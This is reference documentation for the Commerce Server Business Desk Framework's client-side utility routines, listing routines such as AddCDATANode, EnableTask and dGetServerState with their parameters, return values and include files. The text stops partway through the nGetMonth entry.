By default, both possible settings of the variable MSCSEnv in the Global.asa file, PRODUCTION and DEVELOPMENT, result in VERBOSE_OUTPUT being set to False. Modify the Global.asa file as necessary to set this variable to True.

There is also an Application object variable with the same name as this global variable.


Utility Routines

The Commerce Server Business Desk Framework defines a variety of client-side and server-side utility routines that provide standard functionality to Business Desk modules. Wherever possible, module developers should use these routines rather than writing their own.

This section contains:

  • Client-Side Routines. Provides an alphabetized list of all client-side utility routines provided by the Business Desk Framework.
  • Server-Side Routines. Provides an alphabetized list of all server-side utility routines provided by the Business Desk Framework.


Client-Side Routines

The Commerce Server Business Desk Framework defines the following client-side routines for use by modules developers.

Routine Description
AddCDATANode Adds a CDATA type item node to the specified Extensible Markup Language (XML) document.

Defined in the file HTTPXMLUtil.htm.
AddClass Adds an additional customizable style sheet (CSS) class to an HTML element.

Defined in the file ActionPageUtil.asp.
AddItemNode Adds an item node to the specified XML document.

Defined in the file HTTPXMLUtil.htm.
BDHALsizeButtons Ensures that all button elements in the specified collection with the specified class name have the same width.

Defined in the file BDHALUtil.htm.
BDHALsizeSelects Ensures that all EditField elements of type 'select' in the specified collection with the specified class name have the same width.

Defined in the file BDHALUtil.htm.
bGetPubRequired Returns a Boolean that indicates whether data publication has been flagged as required.

Defined in the file ActionPageUtil.asp.
bHasClass Determines whether an HTML element has a specific CSS class associated with it.

Defined in the file ActionPageUtil.asp.
bIsDate Determines whether a string contains a valid date.

Defined in the file ClientDateUtil.asp.
ChangeControlStylesheet Resets style sheet for edit controls so that input can be in a different language than specified by the main style sheet.

Defined in the file ActionPageUtil.asp.
ClearStatusText Clears the text in the status bar.

Defined in the file ActionPageUtil.asp.
ClearTemp Removes a value from the Client State Dictionary.

Defined in the file ActionPageUtil.asp.
clickContextMenuItem Runs the routine specified by the onContextClick attribute for a clicked context menu item. This routine should be set as the value of the onClick attribute of the context menu element so it will act on all child menu items.

Defined in the file ActionPageUtil.asp.
closeContextMenu Hides the context menu and releases the mouse. Use this routine as the value of the onClose attribute for a context menu element.

Defined in the file ActionPageUtil.asp.
dClearServerState Clears the server-state Dictionary object stored in the Session object on the server.

Defined in the file HTTPXMLUtil.htm.
dDictFromXML Converts a standard XML document into a Dictionary object.

Defined in the file HTTPXMLUtil.htm.
dGetServerState Makes a client-side copy of the server-state Dictionary object stored in the Session object on the server.

Defined in the file HTTPXMLUtil.htm.
DisableTask Disables the specified task.

Defined in the file ActionPageUtil.asp.
DisableTaskMenuItem Disables the specified task menu item.

Defined in the file ActionPageUtil.asp.
dSetServerState Saves a client-side version of the server-state Dictionary object to the Session object on the server.

Defined in the file HTTPXMLUtil.htm.
dtGetDate Formats a date string into a date variant.

Defined in the file ClientDateUtil.asp.
elGetTaskBtn Returns the specified task button element.

Defined in the file ActionPageUtil.asp.
EnableAllTaskMenuItems Enables or disables all menu items for the specified task.

Defined in the file ActionPageUtil.asp.
EnableAllTasks Enables or disables all tasks.

Defined in the file ActionPageUtil.asp.
EnableTask Enables the specified task.

Defined in the file ActionPageUtil.asp.
EnableTaskMenuItem Enables the specified task menu item.

Defined in the file ActionPageUtil.asp.
execDefaultTask Serves as the handler for the ListSheet onDblClick event.

Defined in the file ActionPageUtil.asp.
execTaskFromContextMenu Serves as the handler for the ListSheet onContextClick event.

Defined in the file ActionPageUtil.asp.
GetTemp Returns a specific value from the Client State Dictionary.

Defined in the file ActionPageUtil.asp.
HideFindBy Hides the find pane.

Defined in the file ActionPageUtil.asp.
HideStatusAnimation Hides the status animation and text.

Defined in the file ActionPageUtil.asp.
HideStatusLegend Hides the status legend in the status bar.

Defined in the file ActionPageUtil.asp.
HideWaitDisplay Hides the wait display.

Defined in the file ActionPageUtil.asp.
nGetDay Returns the day from a date string, as a number.

Defined in the file ClientDateUtil.asp.
nGetMonth Returns the month from a date string, as a number.

Defined in the file ClientDateUtil.asp.
nGetYear Returns the year from a date string, as a number.

Defined in the file ClientDateUtil.asp.
OpenEditPage Opens a nested edit page.

Defined in the file ActionPageUtil.asp.
OpenHelp Opens the help window and displays the specified topic.

Defined in the file ActionPageUtil.asp.
RemoveClass Removes a specified CSS class from an HTML element.

Defined in the file ActionPageUtil.asp.
ReplaceClass Replaces one CSS class with another within an HTML element.

Defined in the file ActionPageUtil.asp.
ResetSaveBtns Enables or disables the save buttons (Save, SaveBack, and SaveNew) based on the dirty, valid, and required states.

Defined in the file ActionPageUtil.asp.
SetDirty Sets the dirty flag for the page and establishes a confirmation message.

Defined in the file ActionPageUtil.asp.
SetFindByHeight Sets the height of the find pane.

Defined in the file ActionPageUtil.asp.
SetPageTitleText Sets the page title.

Defined in the file ActionPageUtil.asp.
SetPubRequired Flags data publication as required so that a warning dialog displays.

Defined in the file ActionPageUtil.asp.
SetRequired Sets the required flag for the page and establishes a warning message.
Defined in the file ActionPageUtil.asp.
SetStatusText Displays a specified string in the status area.

Defined in the file ActionPageUtil.asp.
SetTaskTooltip Sets a tooltip string for the specified task.

Defined in the file ActionPageUtil.asp.
SetTemp Stores a value in the Client State Dictionary.

Defined in the file ActionPageUtil.asp.
SetValid Sets the valid flag for the page and establishes a warning message.

Defined in the file ActionPageUtil.asp.
SetWaitDisplayText Sets new text in the wait display.

Defined in the file ActionPageUtil.asp.
sFormatString Performs string formatting using a format string with variable insertion points, similar to the C++ printf function.

Defined in the file ActionPageUtil.asp.
sGetFormattedDate Returns a date string constructed from numbers representing day, month, and year.

Defined in the file ActionPageUtil.asp.
sGetScriptError Formats a script error into a string containing HTML table formatting directives.

Defined in the file ActionPageUtil.asp.
sGetXMLError Formats an XML error into a string containing HTML table formatting directives.

Defined in the file ActionPageUtil.asp.
showContextMenu Displays a right-click context menu under the current mouse position. This routine should be set as the value of the onContextMenu attribute for the element to which you want to attach a context menu.

Defined in the file ActionPageUtil.asp.
ShowErrorDlg Displays a standard error dialog box.

Defined in the file ActionPageUtil.asp.
ShowFindBy Shows the find pane.

Defined in the file ActionPageUtil.asp.
showPermissionsDialog Displays the permissions dialog box.

Defined in the file ActionPageUtil.asp.
ShowWaitDisplay Shows the wait display.

Defined in the file ActionPageUtil.asp.
ShowXMLNodeErrors Displays an error dialog box for each error node in the specified XML document.

Defined in the file HTTPXMLUtil.htm.
sMergeGroups2 Merges two single-tiered XML documents in the standard XML data record format into a single two-tiered XML document in the same format, returning the result as a string.

Defined in the file ActionPageUtil.asp.
sMergeGroups3 Merges three single-tiered XML documents in the standard XML data record format into a single three-tiered XML document in the same format, returning the result as a string.

Defined in the file ActionPageUtil.asp.
toggleContextMenuHighlight Toggles the highlight for a context menu item. Use this routine as the value of the onHighlight and onUnhighlight attributes of a context menu element.

Defined in the file ActionPageUtil.asp.
ToggleFindBy Displays or hides the find pane to the opposite of its current display state.

Defined in the file ActionPageUtil.asp.
ToggleTask Toggles the enabled/disabled state of the specified task.

Defined in the file ActionPageUtil.asp.
xmlGetSiteTermsValue Displays a standard Site Terms Picker dialog box, allowing the user to choose one of several values for a given property.

Defined in the file ActionPageUtil.asp.
xmlGetXMLDOMDoc Returns an empty XML DOM Document.

Defined in HTTPXMLUtil.htm.
xmlMergeGroups2 Merges two single-tiered XML documents in the standard XML data record format into a single two-tiered XML document in the same format, returning the result as an XML document node.

Defined in the file ActionPageUtil.asp.
xmlMergeGroups3 Merges three single-tiered XML documents in the standard XML data record format into a single three-tiered XML document in the same format, returning the result as an XML document node.

Defined in the file ActionPageUtil.asp.
xmlMergeGroupsByID2 Merges two single-tiered XML data-islands in the standard XML data record format into a single two-tiered XML document in the same format, returning the result as an XML document node.

Defined in the file ActionPageUtil.asp.
xmlMergeGroupsByID3 Merges three single-tiered XML data-islands in the standard XML data record format into a single three-tiered XML document in the same format, returning the result as an XML document node.

Defined in the file ActionPageUtil.asp.
xmlPostFormViaXML Posts a form via XMLHTTP transfer and then returns the XML response from the action page.

Defined in the file HTTPXMLUtil.htm.
xmlXMLFromDict Converts a Dictionary object into a standard XML document.

Defined in the file HTTPXMLUtil.htm.
xmlXMLFromForm Converts the element values within a form element to a standard XML format.

Defined in the file HTTPXMLUtil.htm.

The following lists show client-side routines that are not intended to be called by module code, organized alphabetically and by the include file in which they appear.

ActionPageUtil.asp
CloseMenu, DoTask, ExecuteTask, GotoAction, PosttoAction, RemoveSelection, SetEditMode, SetSelection, doc_onContextMenu, doc_onDragStart, doc_onKeyDown, doc_onSelectStart, InsertContextMenu, menu_onClick, menu_onKeyDown, menu_onMouseMove, menu_onMouseOver, oGetAdminEventLog, task_onKeyDown, task_onMouseDown, task_onMouseOut, task_onMouseOver, task_onMouseUp, taskWindow_onBeforeUnload, taskWindow_onClick, taskWindow_onLoad, winerr1_onLoad
ClientDateUtil.asp
nGetDatePart
dlg_confirm.asp
closeWindow
dlg_error.asp
closeWindow, sFormatString, toggleDetails
dlg_warn.asp
closeWindow
HTTPXMLUtil.asp
xmlUpdateServerState


AddCDATANode (client-side)

Use this routine to add a CDATA type item element to the specified XML document, using the passed strings to initialize the element.

Definition

sub AddCDATANode(byRef xmlDoc,
                 byVal sName,
                 byVal sValue)

Parameters

xmlDoc
A reference to the XML DOMDocument object to which the new node is added.
sName
A string containing a value assigned to the name attribute of the new item element.
sValue
A string containing the value to be placed within the CDATA construct that is assigned as the text of the item element.

Return Value

None.

Remarks

The string version of the added element has the following form:

<item name="sName"><![CDATA[sValue]]></item>

This routine is available in the include file HTTPXMLUtil.htm.

There is a functionally equivalent version of this routine defined for server-side use in the file HTTPXMLUtil.asp. Note that this other routine does not make use of the xmlDoc parameter, but instead adds the CDATA node to a globally accessible XML document.

See Also

Client-Side Routines

AddItemNode (client-side)

xmlGetXMLDOMDoc (client-side)

Server-Side Routines

AddCDATANode (server-side)


AddClass (client-side)

Use this routine to add a customizable style sheet (CSS) class to the space-delimited list of classes associated with the className attribute of a specific HTML element.

Definition

sub AddClass(elItem,
             sNewClass)

Parameters

elItem
An HTML element to which the specified CSS class will be added.
sNewClass
A string containing the name of the CSS class to be added to the specified HTML element.

Return Value

None.

Remarks

The new CSS class is added to any existing CSS classes, the latter of which are not affected.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

bHasClass (client-side)

RemoveClass (client-side)

ReplaceClass (client-side)

Server-Side Routines


AddItemNode (client-side)

Use this routine to add an item element to the specified XML document using the passed parameters.

Definition

sub AddItemNode(byRef xmlDoc,
                byVal sName,
                byVal sValue)

Parameters

xmlDoc
A reference to the XML DOMDocument object to which the new item element will be added.
sName
A string containing the value to be assigned to the name attribute of the new item element.
sValue
A string containing the value to be assigned to the value attribute of the new item element.

Return Value

None.

Remarks

The string version of the added element has the following form:

<item name="sName" value="sValue"/>

This routine is available in the include file HTTPXMLUtil.htm.

There is a functionally equivalent version of this routine defined for server-side use in the file HTTPXMLUtil.asp. Note that this other routine does not make use of the xmlDoc parameter, but instead adds the CDATA node to a globally accessible XML document.

See Also

Client-Side Routines

AddCDATANode (client-side)

xmlGetXMLDOMDoc (client-side)

Server-Side Routines

AddItemNode (server-side)


BDHALsizeButtons (client-side)

Use this routine to ensure that all buttons in the specified collection with the specified class name have the same width.

Definition

sub BDHALsizeButtons(elButtons,
                     sButtonClass,
                     bEnforceMinWidth)

Parameters

elButtons
A collection of HTML button elements.
sButtonClass
A string containing the name of the class of button elements for which the width will be adjusted.
bEnforceMinWidth
A Boolean value, where True means that a minimum width should be enforced, and False means that a minimum width should not be enforced.

Return Value

None.

Remarks

The standard minimum button width is 74 pixels.

This routine is available in the include file BDHALUtil.htm.

See Also

Client-Side Routines

BDHALsizeSelects (server-side)

Server-Side Routines


BDHALsizeSelects (client-side)

Use this routine to ensure that all EditFields of type 'select' in the specified collection with the specified class name have the same width.

Definition

sub BDHALsizeSelects(elSelects,
                     sSelectClass)

Parameters

elSelects
A collection of elements containing EditField HTCs of type 'select'.
sSelectClass
A string containing the name of the class of elements containing EditField HTCs of type 'select' for which the width will be adjusted.

Return Value

None.

Remarks

This routine is available in the include file BDHALUtil.htm.

See Also

Client-Side Routines

BDHALsizeButtons (client-side)

Server-Side Routines


bGetPubRequired (client-side)

Use this routine to return a Boolean that indicates whether data publication has been flagged as required.

Definition

function bGetPubRequired(sModule)

Parameters

sModule
A string that specifies the name of the module for which the publication requirement is being requested.

Return Value

A Boolean value indicating whether the "publication required" flag has been set for the specified module. A return value of True indicates that the requested "publication required" flag has been set, and a return value of False indicates it has not been set.

Remarks

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

SetPubRequired (client-side)

Server-Side Routines


bHasClass (client-side)

Use this routine to determine whether a particular customizable style sheet (CSS) class is associated with a specific HTML element.

Definition

function bHasClass(elItem,
                   sClass)

Parameters

elItem
An HTML element to be checked for the specified CSS class.
sClass
A string containing the name of the CSS class for which to check.

Return Value

A Boolean value indicating whether the specified CSS class is associated with the specified HTML element. A return value of True indicates that the CSS class was found in the className attribute of the element, and a return value of False indicates it was not found.

Remarks

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

AddClass (client-side)

RemoveClass (client-side)

ReplaceClass (client-side)

Server-Side Routines


bIsDate (client-side)

Use this routine to test whether a specified string contains a valid date in the format of the default locale for the site.

Definition

function bIsDate(sValue)

Parameters

sValue
A string containing the date to be tested against the format indicated by the global variable g_sMSCSDateFormat.

Return Value

A Boolean value indicating whether the passed date string is formatted appropriately for the default locale of the site. A return value of True indicates that the date is valid. A return value of False indicates that the date is not valid.

Remarks

This routine is available in the include file ClientDateUtil.asp.

See Also

Client-Side Routines

dtGetDate (client-side)

nGetDay (client-side)

nGetMonth (client-side)

nGetYear (client-side)

sGetFormattedDate (client-side)

Server-Side Routines


ChangeControlStylesheet (client-side)

Use this routine to change the style sheet for edit controls so that input can be in a different language than specified by the main style sheet.

Definition

sub ChangeControlStylesheet(sLanguage)

Parameters

sLanguage
A string that specifies the name of the new language-specific style sheet file to be used for the edit controls.

Return Value

None.

Remarks

The sLanguage parameter should be one of the file names shown in the following table, or the name of an equivalent file defined for another language and placed in the include\styles folder.

Style Sheet File | Description
chs_widgets.css | Style sheet for Chinese (Simplified) edit control input.
cht_widgets.css | Style sheet for Chinese (Traditional) edit control input.
en_widgets.css | Style sheet for English (Western Europe) edit control input.
jp_widgets.css | Style sheet for Japanese edit control input.
ko_widgets.css | Style sheet for Korean edit control input.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

Server-Side Routines

InsertControlStylesheet (server-side)


ClearStatusText (client-side)

Use this routine to clear the text in the status area.

Definition

sub ClearStatusText()

Parameters

None.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by invoking either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

HideStatusAnimation (client-side)

HideStatusLegend (client-side)

SetStatusText (client-side)

Server-Side Routines


ClearTemp (client-side)

Use this routine to remove a value or object from the Client State Dictionary stored in the parent frame. A specific key is passed to identify the value or object.

Definition

sub ClearTemp(sName)

Parameters

sName
A string used as the key of the value or object to be removed from the Client State Dictionary.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by invoking either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

GetTemp (client-side)

SetTemp (client-side)

Server-Side Routines


clickContextMenuItem (client-side)

Runs the routine specified by the onContextClick attribute for a clicked context menu item. This routine should be set as the value of the onClick attribute of the context menu element so it will act on all child menu items.

Definition

sub clickContextMenuItem()

Parameters

None.

Return Value

None.

Remarks

For more information about how context menus are configured, see MenuControl.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

closeContextMenu (client-side)

execTaskFromContextMenu (client-side)

showContextMenu (client-side)

toggleContextMenuHighlight (client-side)

Server-Side Routines


closeContextMenu (client-side)

Hides the context menu and releases the mouse. Use this routine as the value of the onClose attribute for a context menu element.

Definition

sub closeContextMenu()

Parameters

None.

Return Value

None.

Remarks

For more information about how context menus are configured, see MenuControl.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

clickContextMenuItem (client-side)

execTaskFromContextMenu (client-side)

showContextMenu (client-side)

toggleContextMenuHighlight (client-side)

Server-Side Routines


dClearServerState (client-side)

Use this routine to clear a server-state Dictionary object stored in the Session object on the server.

Definition

function dClearServerState(byVal sDictName)

Parameters

sDictName
A string containing the name of session variable with which the server-state Dictionary object is associated.

Return Value

An empty Dictionary object.

Remarks

This routine clears the Dictionary object by posting an XML request to the server, removing the Commerce Dictionary object from the session, and then returning an empty Scripting Dictionary object. This routine posts to the file response_session.asp.

This routine is available in the include file HTTPXMLUtil.htm.

See Also

Client-Side Routines

dGetServerState (client-side)

dSetServerState (client-side)

Server-Side Routines


dDictFromXML (client-side)

Use this routine to convert an XML document with child nodes of the form <item name="keyname" value="value"/> into a Dictionary object.

Definition

function dDictFromXML(byRef xmlDOMDoc)

Parameters

xmlDOMDoc
An XML DOMDocument object to be converted.

Return Value

A Dictionary object containing the converted XML document contents.

Remarks

Each name and value attribute becomes an entry in the Dictionary object where the name is the key and the value attribute contains the value.

This routine is available in the include file HTTPXMLUtil.htm.

There is a functionally equivalent version of this routine defined for server-side use in the file HTTPXMLUtil.asp.

See Also

Client-Side Routines

xmlXMLFromDict (client-side)

xmlXMLFromForm (client-side)

Server-Side Routines

dDictFromXML (server-side)


dGetServerState (client-side)

Use this routine to make a client-side copy of a server-state Dictionary object stored in the Session object on the server.

Definition

function dGetServerState(byVal sDictName)

Parameters

sDictName
Name of the session variable associated with the server-state Dictionary object.

Return Value

A Dictionary object initialized with the current values set in the specified Dictionary object stored in the Session object on the server.

Remarks

This routine gets the Dictionary object by posting an XML request to the server, converting the Commerce Dictionary object stored in the Session object to XML, and then returning it to the client where the XML is converted back to a scripting Dictionary object. This routine posts to the file response_session.asp.

This routine is available in the include file HTTPXMLUtil.htm.

See Also

Client-Side Routines

dClearServerState (client-side)

dSetServerState (client-side)

Server-Side Routines


DisableTask (client-side)

Use this routine to disable a specific task, dimming the button associated with the task.

Definition

sub DisableTask(sID)

Parameters

sID
A string that matches the id attribute of the corresponding task element in the relevant module configuration file.

Return Value

None.

Remarks

Given the ID of a task button element, this routine disables the task by setting the following attributes of the task element to the indicated values:

  • disabled set to True
  • className with "bdtaskdisabled" appended

This routine is only available after the taskbar has been inserted by calling either the InsertTaskBar method or the InsertEditTaskBar method.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

EnableAllTasks (client-side)

EnableTask (client-side)

ToggleTask (client-side)

Server-Side Routines


DisableTaskMenuItem (client-side)

Use this routine to disable a specific task menu item.

Definition

sub DisableTaskMenuItem(sID,
                        nItem)

Parameters

sID
A string that matches the id attribute of the corresponding task element in the relevant module configuration file.
nItem
A number indicating the position of the menu item to be disabled, counting from 0 (zero) rather than 1 (one).

Return Value

None.

Remarks

Given the ID of a task button menu element and the zero-based position of an item in the menu, this routine disables the task menu item by setting the following attributes of the task element menu to the indicated values:

  • className with "bdtaskdisabled" appended

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

EnableAllTaskMenuItems (client-side)

EnableTaskMenuItem (client-side)

Server-Side Routines


dSetServerState (client-side)

Use this routine to store the contents of a client-side Dictionary object in a server-side Dictionary object saved within the Session object on the server.

Definition

function dSetServerState(byVal sDictName,
                         byRef dServerState)

Parameters

sDictName
A string containing the session variable name to associate with the stored Dictionary object.
dServerState
A Dictionary object containing the entries to be copied to an equivalent Dictionary object on the server.

Return Value

A Dictionary object containing a copy of the current state of the Server State Dictionary in the Session object.

Remarks

This routine transfers the Dictionary object by converting it to XML, posting to the server, converting the XML to a Commerce Dictionary object, and then adding it to the Session object using the given name. This routine posts to the file response_session.asp.

This routine is available in the include file HTTPXMLUtil.htm.

See Also

Client-Side Routines

dClearServerState (client-side)

dGetServerState (client-side)

Server-Side Routines


dtGetDate (client-side)

Use this routine to convert a date string into a date variant.

Definition

function dtGetDate(sValue)

Parameters

sValue
A string containing a date in the format indicated by the g_sMSCSDateFormat global variable, from which the day is retrieved.

Return Value

A date variant initialized to the same date as provided in the passed string. If an error is encountered, the date variant is initialized to the current date.

Remarks

This routine is available in the include file ClientDateUtil.asp.

See Also

Client-Side Routines

bIsDate (client-side)

nGetDay (client-side)

nGetMonth (client-side)

nGetYear (client-side)

sGetFormattedDate (client-side)

Server-Side Routines


elGetTaskBtn (client-side)

Use this routine to retrieve a specific task button element.

Definition

function elGetTaskBtn(sID)

Parameters

sID
A string identifier that matches the id attribute of the corresponding task element in the relevant module configuration file.

Return Value

The task button element corresponding to the specified identifier.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

Server-Side Routines


EnableAllTaskMenuItems (client-side)

Use this routine to either enable or disable all menu items for a specified task. Menu items are enabled or disabled based on a passed Boolean parameter.

Definition

sub EnableAllTaskMenuItems(sID,
                           bEnable)

Parameters

sID
A string identifier that matches the id attribute of the corresponding task element in the relevant module configuration file.
bEnable
A Boolean value that specifies whether all menu items for the specified task should be enabled or disabled. A value of True enables all menu items; a value of False disables all menu items.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

DisableTaskMenuItem (client-side)

EnableTaskMenuItem (client-side)

Server-Side Routines


EnableAllTasks (client-side)

Use this routine to either enable or disable all tasks. The tasks are enabled or disabled based on a passed Boolean parameter.

Definition

sub EnableAllTasks(bEnable)

Parameters

bEnable
A Boolean value that specifies whether all tasks should be enabled or disabled. A value of True enables all tasks; a value of False disables all tasks.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

DisableTask (client-side)

EnableTask (client-side)

ToggleTask (client-side)

Server-Side Routines


EnableTask (client-side)

Use this routine to enable the specified task, undimming the button associated with the task.

Definition

sub EnableTask(sID)

Parameters

sID
A string identifier that matches the id attribute of the corresponding task element in the relevant module configuration file.

Return Value

None.

Remarks

Given the ID of a task button element, this routine enables the task by setting the following attributes of the task element to the indicated values:

  • disabled set to False
  • className with "bdtaskdisabled" removed

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

DisableTask (client-side)

DisableTaskMenuItem (client-side)

EnableAllTaskMenuItems (client-side)

EnableAllTasks (client-side)

EnableTaskMenuItem (client-side)

ToggleTask (client-side)

Server-Side Routines


EnableTaskMenuItem (client-side)

Use this routine to enable a specific task menu item.

Definition

sub EnableTaskMenuItem(sID,
                       nItem)

Parameters

sID
A string identifier that matches the id attribute of the corresponding task element in the relevant module configuration file.
nItem
The position of the menu item to be enabled, counting from 0 (zero) rather than 1 (one).

Return Value

None.

Remarks

Given the ID of a task button menu element and the zero-based position of an item in the menu, this routine enables the task menu item by setting the following attributes of the task element menu to the indicated values:

  • className with "bdtaskdisabled" removed

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

DisableTaskMenuItem (client-side)

EnableAllTaskMenuItems (client-side)

EnableTask (client-side)

Server-Side Routines


execDefaultTask (client-side)

Use this routine as the handler for the ListSheet HTML component (HTC) onDblClick event.

Definition

sub execDefaultTask()

Parameters

None.

Return Value

None.

Remarks

When defining the DIV element for ListSheet HTC, specify this routine as the handler for the onDblClick event, as follows:

<DIV CLASS='listSheet' ID=...
     DataXML=...
     MetaXML=...
     ...
     OnDblClick='execDefaultTask()'
     ...>
     Loading...
</DIV>

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

execTaskFromContextMenu (client-side)

Server-Side Routines


execTaskFromContextMenu (client-side)

Use this routine as the handler for the ListSheet HTML component (HTC) onContextClick event.

Definition

sub execTaskFromContextMenu()

Parameters

None.

Return Value

None.

Remarks

When defining the DIV element for ListSheet HTC, specify this routine as the handler for the onContextClick event, as follows:

<DIV CLASS='listSheet' ID=...
     DataXML=...
     MetaXML=...
     ...
     OnContextClick='execTaskFromContextItem()'
     ...>
     Loading...
</DIV>

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

clickContextMenuItem (client-side)

closeContextMenu (client-side)

showContextMenu (client-side)

toggleContextMenuHighlight (client-side)

execDefaultTask (client-side)

Server-Side Routines


FinishWithXMLSecurityError (server-side)

Use this routine on an XML response page to return the XML security error and discontinue processing of the page (Response.End).

Definition

sub FinishWithXMLSecurityError()

Parameters

None.

Return Value

This routine returns XML text containing the XML security error.

Remarks

This routine is available in the include file ServerSecurityUtil.asp.

See Also

Client-Side Routines


GetTemp (client-side)

Use this routine to retrieve a value or object from the Client State Dictionary stored in the parent frame. A specific key is passed as a parameter to identify the value or object.

Definition

function GetTemp(sName)

Parameters

sName
A string used as the key of the value or object to be retrieved from the Client State Dictionary.

Return Value

The value or object being retrieved from the Client State Dictionary. If the key is not found, Nothing is returned.

Remarks

This routine is only available after the taskbar has been inserted by invoking either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

ClearTemp (client-side)

SetTemp (client-side)

Server-Side Routines


HideFindBy (client-side)

Use this routine to hide the find pane.

Definition

sub HideFindBy()

Parameters

None.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

ShowFindBy (client-side)

ToggleFindBy (client-side)

SetFindByHeight (client-side)

Server-Side Routines


HideStatusAnimation (client-side)

Use this routine to hide the status animation icon and the text in the status area.

Definition

sub HideStatusAnimation()

Parameters

None.

Return Value

None.

Remarks

This routine is called automatically by the taskbar upon loading.

You may want to show the status animation while the page is busy, and then use this routine to hide it again when the page becomes idle.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

ClearStatusText (client-side)

HideStatusLegend (client-side)

SetStatusText (client-side)

Server-Side Routines


HideStatusLegend (client-side)

Use this routine to hide the status legend in the status area.

Definition

sub HideStatusLegend()

Parameters

None.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

ClearStatusText (client-side)

HideStatusAnimation (client-side)

SetStatusText (client-side)

Server-Side Routines


HideWaitDisplay (client-side)

Use this routine to hide the wait display.

Definition

sub HideWaitDisplay()

Parameters

None.

Return Value

None.

Remarks

This routine is called automatically by the taskbar upon loading.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

SetWaitDisplayText (client-side)

ShowWaitDisplay (client-side)

Server-Side Routines


nGetDay (client-side)

Use this routine to retrieve the day portion of a specified date string, returned as a number between 1 and 31.

Definition

function nGetDay(sValue)

Parameters

sValue
A string containing a date in the format indicated by the g_sMSCSDateFormat global variable, from which the day is retrieved.

Return Value

A number representing the day portion of the specified date string. A return value of –1 indicates an error.

Remarks

This routine is available in the include file ClientDateUtil.asp.

See Also

Client-Side Routines

bIsDate (client-side)

dtGetDate (client-side)

nGetMonth (client-side)

nGetYear (client-side)

sGetFormattedDate (client-side)

Server-Side Routines


nGetMonth (client-side)

Use this routine to retrieve the month portion of a specified date string, returned as a number between 1 and 12.

Definition

function nGetMonth(sValue)

Parameters

sValue
A string containing a date in the format indicated by the g_sMSCSDateFormat global variable, from which the month is retrieved.

Return Value

